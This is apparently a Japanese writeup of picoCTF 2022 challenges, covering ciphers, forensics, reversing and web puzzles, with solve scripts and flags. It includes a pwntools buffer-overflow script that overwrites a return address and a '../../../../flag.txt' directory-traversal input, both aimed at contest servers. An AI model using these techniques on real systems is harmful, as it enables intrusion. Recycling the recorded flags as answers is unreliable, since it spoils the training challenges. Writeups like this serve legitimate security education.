picoCTF 2022 writeup

Writer:b1uef0x / Webページ建造途中

概要

コンペ中に解いた問題のWriteupを掲載。後から解いた問題についても順次追加していきたい。

Scoreboards

目次

basic-file-exploit (Binary Exploitation / 100point)

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!

Connect to the program with netcat:$ nc saturn.picoctf.net 50366

The program's source code with the flag redacted can be downloaded here.

プログラムのソースコードとサーバー上で動作しているプログラムが与えられる。

サーバー上で動作しているプログラムは3つのコマンドを持っている。

Command 2でデータを読む関数を見てみる。

static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}

flagを出す処理が含まれており、番号が0の時にflagを出力する。また、保存されたデータが存在しないときはこの関数までいけないため、適当なデータを保存したあとに0番目のデータを読めばflagを出せることがわかる。

solve

picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NP75_25D6CDDB}

basic-mod1 (Cryptography / 100point)

We found this weird message being passed around on the servers, we think we have a working decrpytion scheme.

Download the message here.

Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.

Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

暗号化されたメッセージが与えられる。

54 396 131 198 225 258 87 258 128 211 57 235 114 258 144 220 39 175 330 338 297 288 

書いてある通りに37の剰余を取って文字を割り当てる。

import string

message = ("54 396 131 198 225 258 87 258 128 211 57 235 114 258 144 220 39 175 330 338 297 288").split(" ")
plaintext = ""

for m in message:
        m2 = int(m) % 37
        if m2==36:
                plaintext += "_"
        elif m2<26:
                plaintext += string.ascii_uppercase[m2]
        elif m2<36:
                plaintext += string.digits[m2-26]

print(plaintext)

picoCTF{R0UND_N_R0UND_79C18FB3}

basic-mod2 (Cryptography / 100point)

A new modular challenge!

Download the message here.

Take each number mod 41 and find the modular inverse for the result. Then map to the following character set: 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore.

Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})

暗号化されたメッセージが与えられる。

268 413 110 190 426 419 108 229 310 379 323 373 385 236 92 96 169 321 284 185 154 137 186 

書いてある通りに41のモジュラ逆数を取って文字を割り当てる。

import string

message = ("268 413 110 190 426 419 108 229 310 379 323 373 385 236 92 96 169 321 284 185 154 137 186").split(" ")
plaintext = ""

for m in message:
	m2 = pow(int(m), 41-2, 41)
	if m2==37:
		plaintext += "_"
	elif m2>0 and m2<26:
		plaintext += string.ascii_uppercase[m2-1]
	elif m2>26 and m2<37:
		plaintext += string.digits[m2-27]

print(plaintext)

picoCTF{1NV3R53LY_H4RD_C680BDC1}

buffer overflow 0 (Binray Exploitation / gets / 100point)

Smash the stack

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:nc saturn.picoctf.net 53935

基礎的なBOF問題。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

SIGSEGVを起こせばflagを表示する関数に飛ぶので、適当に長い文字を入力すればよい。

solve

picoCTF{ov3rfl0ws_ar3nt_that_bad_a065d5d9}

credstuff (Cryptography / 100point)

We found a leak of a blackmarket website's login credentials. Can you find the password of the user cultiris and successfully decrypt it?

Download the leak here.

The first user in usernames.txt corresponds to the first password in passwords.txt. The second user corresponds to the second password, and so on.

ユーザー名と暗号化されたパスワードリストが配布される。

ユーザー名:cultirisは378行目なので、パスワード一覧の378行目を見るとcvpbPGS{P7e1S_54I35_71Z3}となっている。見るからにROT13っぽいので、CyberChef等でROT13にかけるとflagになる。

picoCTF{C7r1F_54V35_71M3}

CVE-XXXX-XXXX (Binary Exploitation / 100point)

Enter the CVE of the vulnerability as the flag with the correct flag format:picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.

The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

説明文に該当する脆弱性のCVE番号を探す。Windowsの印刷スプーラーの脆弱性はCVE-2021-34527である。

picoCTF{CVE-2021-34527}

Enhance! (Forrensics / svg / 100point)

WDownload this image file and find the flag.

Download image file

SVGファイルが配布される。SVGのコードを見ると中に分割されたflagが見つかる。

    <text
       xml:space="preserve"
       style="font-style:normal;font-weight:normal;font-size:0.00352781px;line-height:1.25;font-family:sans-serif;letter-spacing:0px;word-spacing:0px;fill:#ffffff;fill-opacity:1;stroke:none;stroke-width:0.26458332;"
       x="107.43014"
       y="132.08501"
       id="text3723"><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.08501"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3748">p </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.08942"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3754">i </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09383"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3756">c </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.09824"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3758">o </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10265"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3760">C </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.10706"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3762">T </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11147"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3764">F { 3 n h 4 n </tspan><tspan
         sodipodi:role="line"
         x="107.43014"
         y="132.11588"
         style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
         id="tspan3752">c 3 d _ a a b 7 2 9 d d }</tspan></text>

picoCTF{3nh4nc3d_aab729dd}

File types (Forensics / 100point)

This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can.

You can download the file from here.

Flag.pdfが配布される。中身を見るとテキストデータになっており、シェルアーカイブのようだ。

sudo apt install sharutilsでSharutilsを導入してFlag.pdfを実行するとflagファイルが生成される。これも何らかのファイルのようだ。

うさみみハリケーンの"青い空を見上げればいつもそこに白い猫"にファイルを読ませて拡張子推定をしてみると、arファイルであることがわかる。

以後、ファイル拡張子を推定して対応するアーカイバで解凍していくとar、cpio、br、gz、lzip、lz4、lzma、lzop、zlip、xz形式の圧縮ファイルの入れ子構造になっていた。

やたらと面倒くさいので解凍過程は割愛する。Windows上で7zを使えばいくつかは解凍できるものの、大半はファイルをそのまま圧縮しておりLinux環境でコマンドを打ってdecompressをしたほうが早い。

最後にテキストファイルが得られる。

7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f33633739633562617d0a

16進数文字列で、先頭の70,69はpとiのASCIIコードになっているのでHexデータと考えられる。CyberChefに突っ込んでFrom Hexを使えばflagが手に入る。

picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_3c79c5ba}

file-run1 (Reverse Engineering / 100point)

A program has been provided to you, what happens if you try to run it on the command line?

Download the program here.

Linuxの実行ファイルが配布され、Linux上で実行させるだけ。

picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}

file-run2 (Reverse Engineering / 100point)

Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input "Hello!"?

Download the program here.

Linuxの実行ファイルが配布される。Hello!の文字列を引数にしてLinux上で実行させるだけ。

picoCTF{F1r57_4rgum3n7_be0714da}

GDB Test Drive (Cryptography / 100point)

Can you get the flag?

Download this binary.

Here's the test drive instructions:

$ chmod +x gdbme
$ gdb gdbme
(gdb) layout asm
(gdb) break *(main+99)
(gdb) run
(gdb) jump *(main+104)

gdbの練習。書いてある通りにコマンドを入力していけばflag取得。

picoCTF{d3bugg3r_dr1v3_197c378a}

Includes (Web Exploitation / inspector / 100point)

Can you get the flag?

Go to this website and see what you can discover.

Webページからflagを探す問題。タイトルどおり、外部から読み込まれているファイルを調べると、script.jsとstyle.cssに分割されたflagが見つかる。。

picoCTF{1nclu51v17y_1of2_f7w_2of2_df589022}

Local Authority (Web Exploitation / inspector / 100point)

Can you get the flag?

Go to this website and see what you can discover.

ユーザー名とパスワードを入力するページが与えられる。適当な値で入力すると「Log In Failed」になるが、実はクライアント側で判定しており、login.phpに読み込まれるsecure.js内にユーザー名とパスワードが書かれている。

function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

正しいユーザー名とパスワードを入力するとログインに成功してflag表示。

picoCTF{j5_15_7r4n5p4r3n7_05df90c8}

Lookey here (Forensics / grep / 100point)

Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it.

Download the data here.

長文が書かれたテキストファイルが与えられる。flagの形式はわかっているのでpicoCTFを検索すればヒットする。

picoCTF{gr3p_15_@w3s0m3_4c479940}

morse-code (Cryptography / morse_code / 100point)

Morse code is well known. Can you decrypt this?

Download the file here.

Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.

モールス信号の音声の入ったwaveファイルが配布される。Audacityで波形表示させるとモールス信号のツートンが見えてわかりやすい。

Audacityでの表示

波形を書き写す。

・-- ・・・・ ・・・・- --・・・
・・・・ ・・・・- --・・・ ・・・・
----・ ----- -・・
・-- ・・--- ----- ・・- ----・ ・・・・ --・・・

問題文通りに英数字とアンダースコアに変換してflag取得。

picoCTF{wh47_h47h_90d_w20u9h7}

Packets Primer (Forensics / pcap / 100point)

Download the packet capture file and use packet analysis software to find the flag.

Download packet capture

配布されるpcapファイルをWiresharkで開くとTCPストリームにflagがある。

picoCTF{p4ck37_5h4rk_ceccaa7f}

patchme.py (Reverse Engineering / 100point)

Can you get the flag?

Run this Python program in the same directory as this encrypted flag.

Pythonファイルと暗号化されたflagが与えられる。Pythonファイルの関数を読む。

def level_1_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    if( user_pw == "ak98" + \
                   "-=90" + \
                   "adfjhgj321" + \
                   "sleuth9000"):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), "utilitarian")
        print(decryption)
        return
    print("That password is incorrect")

ifを書き換えればパスできるが、別に書き換えなくてもak98-=90adfjhgj321sleuth9000と入力すればflagが復号される。

picoCTF{p47ch1ng_l1f3_h4ck_c4a4688b}

rail-fence (Cryptography / 100point)

A type of transposition cipher is the rail fence cipher, which is described here. Here is one such cipher encrypted using the rail fence with 4 rails. Can you decrypt it?

Download the message here.

Put the decoded message in the picoCTF flag format, picoCTF{decoded_message}.

rail fence cipherを解読する。次の暗号文が与えられる。

Ta _7N6D49hlg:W3D_H3C31N__A97ef sHR053F38N43D7B i33___N6

使いやすいオンラインデコーダを探した。https://cryptii.com/pipes/rail-fence-cipher

KEY:4 OFFSET:0でデコードを試すと上手くいった。

The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997

picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997}

Redaction gone wrong (Forensics / 100point)

Now you DON’T see me.

This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?

黒塗りPDF問題。

表示させたPDF

全選択でコピペ。

Financial Report for ABC Labs, Kigali, Rwanda for the year 2021.
Breakdown - Just painted over in MS word.
Cost Benefit Analysis
Credit Debit
This is not the flag, keep looking
Expenses from the
picoCTF{C4n_Y0u_S33_m3_fully}
Redacted document.

picoCTF{C4n_Y0u_S33_m3_fully}

Safe Opener (Reverse Engineering / 100point)

Can you open this safe?

I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?

Put the password you recover into the picoCTF flag format like:picoCTF{password}

javaのソースコードが配布される。

    public static boolean openSafe(String password) {
        String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
        
        if (password.equals(encodedkey)) {
            System.out.println("Sesame open");
            return true;
        }
        else {
            System.out.println("Password is incorrect\n");
            return false;
        }
    }

encodedkeyはbase64でエンコードされているのでデコードするとpasswordになる。

picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}

Search source (Web Exploitation / 100point)

The developer of this website mistakenly left an important artifact in the website source, can you find it?

The website is here

Webページからflagを探す問題。/css/style.css 内にflagがある。

picoCTF{1nsp3ti0n_0f_w3bpag3s_587d12b8}

Sleuthkit Intro (Cryptography / 100point)

Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

Download disk image

Access checker program: nc saturn.picoctf.net 52279

配布されるディスクイメージ内のLinuxのパーティションサイズを確認する問題。mmlsを使えとあったがFTK imagerで読んでセクター数が202752であることを確認した。

picoCTF{mm15_f7w!}

substitution0 (Cryptography / Substitution / 100point)

A message has come in but it seems to be all scrambled. Luckily it seems to have the key at the beginning. Can you crack this substitution cipher?

Download the message here.

暗号化されたテキストが与えられる。換字暗号である。

EKSZJTCMXOQUDYLFABGPHNRVIW 

Mjbjhfly Ujcbeyz eblgj, rxpm e cbenj eyz gpepjui exb, eyz kblhcmp dj pmj kjjpuj
tbld e cuegg segj xy rmxsm xp reg jysulgjz. Xp reg e kjehpxthu gsebekejhg, eyz, ep
pmep pxdj, hyqylry pl yephbeuxgpg—lt slhbgj e cbjep fbxwj xy e gsxjypxtxs flxyp
lt nxjr. Pmjbj rjbj prl blhyz kuesq gflpg yjeb lyj jvpbjdxpi lt pmj kesq, eyz e
ulyc lyj yjeb pmj lpmjb. Pmj gseujg rjbj jvsjjzxycui mebz eyz culggi, rxpm euu pmj
effjebeysj lt khbyxgmjz cluz. Pmj rjxcmp lt pmj xygjsp reg njbi bjdebqekuj, eyz,
peqxyc euu pmxycg xypl slygxzjbepxly, X slhuz mebzui kuedj Ohfxpjb tlb mxg lfxyxly
bjgfjspxyc xp.

Pmj tuec xg: fxslSPT{5HK5717H710Y_3N0UH710Y_59533E2J}

Substitution cipher decoder( https://planetcalc.com/8047/ )。この辺に暗号化されたメッセージを投げつければ解ける。

picoCTF{5UB5717U710N_3V0LU710N_59533A2E}

substitution1 (Cryptography / Substitution_cipher / 100point)

A second message has come in the mail, and it seems almost identical to the first one. Maybe the same thing will work again.

Download the message here.

暗号化されたテキストが与えられる。まだ換字暗号っぽい。

IECj (jqfue cfu ixzelus eqs coxa) xus x emzs fc ifrzlesu jsiludem ifrzsededfy. 
Ifyesjexyej xus zusjsyesk hdeq x jse fc iqxoosyasj hqdiq esje eqsdu iusxedgdem, esiqydixo (xyk affaodya) jpdooj, 
xyk zuftosr-jfogdya xtdodem. Iqxoosyasj ljlxoom ifgsu x ylrtsu fc ixesafudsj, xyk hqsy jfogsk, 
sxiq mdsokj x jeudya (ixoosk x coxa) hqdiq dj jltrdeesk ef xy fyodys jifudya jsugdis. 
IECj xus x ausxe hxm ef osxuy x hdks xuuxm fc ifrzlesu jsiludem jpdooj dy x jxcs, osaxo sygdufyrsye, 
xyk xus qfjesk xyk zoxmsk tm rxym jsiludem auflzj xuflyk eqs hfuok cfu cly xyk zuxiedis. Cfu eqdj zuftosr, 
eqs coxa dj: zdifIEC{CU3NL3YIM_4774IP5_4U3_I001_4871S6CT}

Substitution cipher decoder( https://planetcalc.com/8047/ )。同じくこの辺にメッセージを投げつけてみる。

picoCTF{FR3JU3NCY_4774CK5_4R3_C001_4871E6FB}が出てくるが、これは上手く行かない。しかし意味的にFR3JU3NCYはFR3QU3NCYが正しそうなのでJ→Qに修正すると正解した。

picoCTF{FR3QU3NCY_4774CK5_4R3_C001_4871E6FB}

substitution2 (Cryptography / Substitution / 100point)

It seems that another encrypted message has been intercepted. The encryptor seems to have learned their lesson though and now there isn't any punctuation! Can you still crack the cipher?

Download the message here.

暗号化されたテキストが与えられる。カンマ、スペース、ピリオドがなくなっているが相変わらず換字暗号。

gvjwjjoeugujajwqxzgvjwkjxxjugqfxeuvjivecvumvzzxmzbpsgjwujmswegrmzbpjgegezhuehmxsiehcmr
fjwpqgwezgqhisumrfjwmvqxxjhcjgvjujmzbpjgegezhunzmsupwebqwexrzhurugjbuqibeheugwqgezhnsh
iqbjhgqxukvemvqwjajwrsujnsxqhibqwdjgqfxjudexxuvzkjajwkjfjxejajgvjpwzpjwpswpzujznqvecvu
mvzzxmzbpsgjwujmswegrmzbpjgegezheuhzgzhxrgzgjqmvaqxsqfxjudexxufsgqxuzgzcjgugsijhguehgj
wjugjiehqhijomegjiqfzsgmzbpsgjwumejhmjijnjhueajmzbpjgegezhuqwjzngjhxqfzwezsuqnnqewuqhi
mzbjizkhgzwshhehcmvjmdxeuguqhijojmsgehcmzhnecumwepguznnjhujzhgvjzgvjwvqhieuvjqaexrnzms
ujizhjopxzwqgezhqhiebpwzaeuqgezhqhizngjhvqujxjbjhguznpxqrkjfjxejajqmzbpjgegezhgzsmvehc
zhgvjznnjhueajjxjbjhguznmzbpsgjwujmswegreugvjwjnzwjqfjggjwajvemxjnzwgjmvjaqhcjxeubgzug
sijhguehqbjwemqhvecvumvzzxunswgvjwkjfjxejajgvqgqhshijwugqhiehcznznnjhueajgjmvhelsjueuj
uujhgeqxnzwbzshgehcqhjnnjmgeajijnjhujqhigvqggvjgzzxuqhimzhnecswqgezhnzmsujhmzshgjwjieh
ijnjhueajmzbpjgegezhuizjuhzgxjqiugsijhgugzdhzkgvjewjhjbrqujnnjmgeajxrqugjqmvehcgvjbgzq
mgeajxrgvehdxedjqhqggqmdjwpemzmgneuqhznnjhueajxrzwejhgjivecvumvzzxmzbpsgjwujmswegrmzbp
jgegezhgvqgujjdugzcjhjwqgjehgjwjugehmzbpsgjwumejhmjqbzhcvecvumvzzxjwugjqmvehcgvjbjhzsc
vqfzsgmzbpsgjwujmswegrgzpelsjgvjewmswezuegrbzgeaqgehcgvjbgzjopxzwjzhgvjewzkhqhijhqfxeh
cgvjbgzfjggjwijnjhigvjewbqmvehjugvjnxqceupemzMGN{H6W4B_4H41R515_15_73I10S5_8J1FN808}

Substitution cipher decoder( https://planetcalc.com/8047/ )。同じくこの辺にメッセージを投げつけると解ける。

picoCTF{N6R4M_4N41Y515_15_73D10U5_8E1BF808}

transposition-trial (Cryptography / cryptography / 100point)

Our data got corrupted on the way here. Luckily, nothing got replaced, but every block of 3 got scrambled around! The first word seems to be three letters long, maybe you can use that to recover the rest of the message.

Download the corrupted message here.

暗号文が与えられ、問題文にはメッセージを3つのブロックに分割してスクランブルしたと書かれている。

heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4

メッセージを3つに分割する。

heTfl g as iicpCTo
{7F4NRP051N5_16_35
P3X51N3_V6E5926A}4

1つ目のブロックの平文はThe flag is picoCTであったはずなので、これがheTfl g as iicpCToとなるような単語の交換規則を考える。3文字の塊ごとに文字を入れ替えていると考えて次のJavaScriptを作成。

var enc = ["heTfl g as iicpCTo","{7F4NRP051N5_16_35","P3X51N3_V6E5926A}4"];
trans = function(block) {
        var res = "";
        for(var i=0; i<block.length; i+=3) {
                res += block.charAt(i+2)+block.charAt(i)+block.charAt(i+1);
        }
        return res;
}
for(i=0; i<enc.length; i++)document.write(trans(enc[i]));

実行するとflagを取得。

picoCTF{7R4N5P051N6_15_3XP3N51V3_56E6924A}

unpackme.py (Reverse Engineering / packing / 100point)

Can you get the flag?

Reverse engineer this Python program.

以下のPythonコードが配布される。

import base64
from cryptography.fernet import Fernet



payload = b'gAAAAABiMD04m0Z6CohVV7ozdwHqtgc2__CuAFGG8rWhZBTL0lhfzp-mhu9LYNMnMQMGO-7tEwy3DJ2Y8yjogvzyojFETwN9YEIPXTnO9F1QnkPypWTgjISGve4gcSerJMs694oKcIdKHuVaSxOg1MMNs5k9iPaBIPU7xOKQqCyhnf_f4yUvLdMcer38BqRptocJNvKlyWN8h7ikoWL0zlssxd8OJyPujMz78HZaefvUouvq6LDtPVqRBJFPgSJYf1nHpHKFa1O0zJ6UpTe6ba3PPAxCVXutNg=='

key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())

payloadを復号してexecで実行させているようだ。exec関数をprint関数に書き換えれば次のようなアンパックされたコードが見える。

pw = input('What\'s the password? ')

if pw == 'batteryhorse':
  print('picoCTF{175_chr157m45_5274ff21}')
else:
  print('That password is incorrect.')

picoCTF{175_chr157m45_5274ff21}

Vigenere (Cryptography / 100point)

Can you decrypt this message?

Decrypt this message using this key "CYLAB".

タイトル通りVigenere暗号の問題。暗号文はrgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_cc82272b}で鍵はCYLAB。CyberChefで復号できる。

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_ae82272q}

bloat.py (Reverse Engineering / obfuscation / 200point)

Can you get the flag?

Run this Python program in the same directory as this encrypted flag.

暗号化されたflag.txt.encと復号用のPythonスクリプト:bloat.flag.pyが配布される。試しに実行するとPlease enter correct password for flag: とパスワードを訊かれる。

bloat.flag.pyの中身を確認してみる。

import sys
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def arg133(arg432):
  if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
    return True
  else:
    print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
a[81]+a[68]+a[66]+a[83])
    sys.exit(0)
    return False
def arg111(arg444):
  return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
a[75]+a[72]+a[78]+a[77])
def arg232():
  return input(a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\
a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\
a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\
a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94])
def arg132():
  return open('flag.txt.enc', 'rb').read()
def arg112():
  print(a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\
a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\
a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25])
def arg122(arg432, arg423):
    arg433 = arg423
    i = 0
    while len(arg433) < len(arg432):
        arg433 = arg433 + arg423[i]
        i = (i + 1) % len(arg423)        
    return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])
arg444 = arg132()
arg432 = arg232()
arg133(arg432)
arg112()
arg423 = arg111(arg444)
print(arg423)
sys.exit(0)

文字列が難読化されているが、print関数などに入れれば簡単に表示させることができる。

arg133関数内のIF式中のa[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]が怪しいのでprintに入れて表示させてみると、happychanceになる。これがパスワードのようなのでhappychanceと入力するとflag入手。

picoCTF{d30bfu5c4710n_f7w_b8062eec}

buffer overflow 1 (Binary Exploitation / 200point)

Control the return address

Now we're cooking! You can overflow the buffer and return to the flag function in the program.

You can view source here. And connect with it using nc saturn.picoctf.net 55304

BOF問題。実行プログラムとcソースコードが配布され、サーバー上でサービスが稼働する。cソースコードを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

BOFでリターンアドレスを書き換えてwin関数に飛ばすことができればflagが取得できるようだ。リターンアドレスはその都度教えてくれるので、bufにたくさんの文字を入力してリターンアドレスが変化する長さを探す。

リターンアドレスを確認する

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaを入力した後に続く4文字がリターンアドレスになることがわかるので、続いてwin関数のアドレスを調べる。

objdump -M intel -d vuln > disass.txt

上記のobjdumpで逆アセンブル結果をdisass.txt出力させ、win関数のアドレスを調べると0x80491f6になっている。これをASCIIコードで入力するのは難しいので、以下のPythonコードを書いた。

from pwn import *

padding = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

io = remote('saturn.picoctf.net',55304)
io.recvuntil("Please enter your string: ")

addr = 0x080491f6
payload = padding + (addr).to_bytes(8, "little")
io.sendline(payload)
io.interactive()

win関数にジャンプしてflagを取得。

solve

picoCTF{addr3ss3s_ar3_3asy_ad2f467b}

diffie-hellman (Cryptography / 200point)

Alice and Bob wanted to exchange information secretly. The two of them agreed to use the Diffie-Hellman key exchange algorithm, using p = 13 and g = 5. They both chose numbers secretly where Alice chose 7 and Bob chose 3. Then, Alice sent Bob some encoded text (with both letters and digits) using the generated key as the shift amount for a Caesar cipher over the alphabet and the decimal digits. Can you figure out the contents of the message? Download the message here.

Wrap your decrypted message in the picoCTF flag format like: picoCTF{decrypted_message}

Diffie–Hellman鍵共有の基礎的な問題。Diffie–Hellman鍵共有では、同一の鍵を共有したいAliceとBobは次のような手続きを行う。

今回は鍵共有のパラメータとしてp=13、g=5、a=7、b=3が与えられているので、共有鍵は 5^(3*7) mod 13 = 5 になる。さらに暗号文が与えられている。

H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_D9FF6IFD

以上から、全角英数字と数字による5文字シフトのシーザー暗号の計算を行うJavaScriptを書いた。

var enc = "H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_D9FF6IFD";
var dec = "";
var strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

for(i=0; i<enc.length; i++) {
        chr = enc.charAt(i);
        if(chr=="_") {
                dec += chr;
                continue;
        }
        dec += strs.charAt((strs.indexOf(chr)-5+strs.length)%strs.length);
}
document.writeln("picoCTF{"+dec+"}");

実行してflagを入手。

picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_84AA1DA8}

Forbidden Paths (Web Exploitation / 200point)

Can you get the flag?

Here's the website.

We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

入力したファイルの中身を表示してくれるWebページが用意されている。簡単なディレクトリトラバーサル問題。../../../../flag.txtを入力するとflag表示

picoCTF{7h3_p47h_70_5ucc355_6db46514}

Fresh Java (Reverse Engineering / Java / 200point)

Can you get the flag?

Reverse engineer this Java program.

Javaプログラム:KeygenMe.classが与えられ、これを解析する問題。jadで逆コンパイルする。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   KeygenMe.java

import java.io.PrintStream;
import java.util.Scanner;

public class KeygenMe
{

    public KeygenMe()
    {
    }

    public static void main(String args[])
    {
        Scanner scanner = new Scanner(System.in);
        System.out.println("Enter key:");
        String s = scanner.nextLine();
        if(s.length() != 34)
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(33) != '}')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(32) != '9')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(31) != '8')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(30) != 'c')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(29) != 'a')
        {
            System.out.println("Invalid key");
            return;
        }
